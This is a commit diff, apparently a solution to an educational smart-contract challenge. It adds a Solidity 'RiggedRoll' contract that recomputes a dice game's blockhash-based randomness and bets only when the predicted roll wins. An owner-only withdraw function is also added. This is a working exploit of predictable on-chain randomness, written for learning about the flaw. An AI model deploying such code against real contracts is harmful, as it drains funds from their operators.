feat: finish challenge
Some checks failed
Lint / ci (lts/*, ubuntu-latest) (push) Has been cancelled
Some checks failed
Lint / ci (lts/*, ubuntu-latest) (push) Has been cancelled
This commit is contained in:
@@ -11,6 +11,9 @@ contract RiggedRoll is Ownable {
|
||||
/////////////////
|
||||
|
||||
// Errors go here...
|
||||
error NotEnoughETH(uint256 required, uint256 available);
|
||||
error NotWinningRoll(uint256 roll);
|
||||
error InsufficientBalance(uint256 requested, uint256 available);
|
||||
|
||||
//////////////////////
|
||||
/// State Variables //
|
||||
@@ -31,4 +34,29 @@ contract RiggedRoll is Ownable {
|
||||
///////////////////
|
||||
|
||||
// Functions go here...
|
||||
function riggedRoll() public {
|
||||
uint256 required = 0.002 ether;
|
||||
|
||||
uint256 balance = address(this).balance;
|
||||
if (balance < required) revert NotEnoughETH(required, balance);
|
||||
|
||||
// calculate
|
||||
bytes32 prevHash = blockhash(block.number - 1);
|
||||
bytes32 hash = keccak256(abi.encodePacked(prevHash, address(diceGame), diceGame.nonce()));
|
||||
uint256 roll = uint256(hash) % 16;
|
||||
|
||||
if (roll > 5) revert NotWinningRoll(roll);
|
||||
|
||||
diceGame.rollTheDice{value: required}();
|
||||
}
|
||||
|
||||
function withdraw(address _addr, uint256 _amount) public onlyOwner {
|
||||
uint256 balance = address(this).balance;
|
||||
if (balance < _amount) revert InsufficientBalance(_amount, balance);
|
||||
|
||||
(bool sent,) = payable(_addr).call{value: _amount}("");
|
||||
require(sent, "failed to transfer");
|
||||
}
|
||||
|
||||
receive() external payable {}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user